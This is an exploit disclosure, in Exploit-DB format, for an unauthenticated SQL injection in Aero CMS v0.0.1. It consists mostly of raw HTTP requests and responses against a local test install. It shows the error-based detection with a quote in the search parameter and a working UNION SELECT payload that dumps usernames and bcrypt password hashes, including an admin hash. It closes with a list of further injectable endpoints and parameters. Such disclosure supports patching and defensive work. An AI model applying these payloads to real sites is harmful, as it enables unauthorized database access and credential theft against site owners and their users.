Aero CMS v0.0.1 - SQL Injection (no auth)

# Exploit Title: Aero CMS v0.0.1 - SQL Injection (no auth)
# Date: 15/10/2022
# Exploit Author: Hubert Wojciechowski
# Contact Author: [email protected]
# Vendor Homepage: https://github.com/MegaTKC/AeroCMS
# Software Link: https://github.com/MegaTKC/AeroCMS
# Version: 0.0.1
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

## Example SQL Injection

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Param: search
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Req sql ini detect
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POST /AeroCMS-master/search.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=g49qkbeug3g8gr0vlsufqa1g57
Origin: http://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://127.0.0.1/AeroCMS-master/
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 21

search=245692'&submit=

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Res:
-----------------------------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Sat, 15 Oct 2022 03:07:06 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3466
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
Query failed You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%'' at line 1

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Req
-----------------------------------------------------------------------------------------------------------------------

POST /AeroCMS-master/search.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=g49qkbeug3g8gr0vlsufqa1g57
Origin: http://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://127.0.0.1/AeroCMS-master/
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 21

search=245692''&submit=

-----------------------------------------------------------------------------------------------------------------------
Res:
-----------------------------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Sat, 15 Oct 2022 03:07:10 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 94216
[...]

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Req exploiting sql ini get data admin
-----------------------------------------------------------------------------------------------------------------------

POST /AeroCMS-master/search.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=g49qkbeug3g8gr0vlsufqa1g57
Origin: http://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://127.0.0.1/AeroCMS-master/
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 113

search=245692'+union+select+1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12+from+users#&submit=

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Res:
-----------------------------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Sat, 15 Oct 2022 05:40:05 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 101144
[...]

                    <a href="#">admin:$2y$12$0BgqODF66TD.JZxL5MVRlOEIvap9XzkBEMVEeHyHe6RiOxdGrx3Ne,admin:$2y$12$0BgqODF66TD.JZxL5MVRlOEIvap9XzkBEMVEeHyHe6RiOxdGrx3Ne</a>
[...]

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Other URL and params
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/AeroCMS-master/admin/posts.php [post_title]
/AeroCMS-master/admin/posts.php [filename]
/AeroCMS-master/admin/profile.php [filename]
/AeroCMS-master/author_posts.php [author]
/AeroCMS-master/category.php [category]
/AeroCMS-master/post.php [p_id]
/AeroCMS-master/search.php [search]
/AeroCMS-master/admin/categories.php [cat_title]
/AeroCMS-master/admin/categories.php [phpwcmsBELang cookie]
/AeroCMS-master/admin/posts.php [post_content]
/AeroCMS-master/admin/posts.php [p_id]
/AeroCMS-master/admin/posts.php [post_category_id]
/AeroCMS-master/admin/posts.php [post_title]
/AeroCMS-master/admin/posts.php [reset]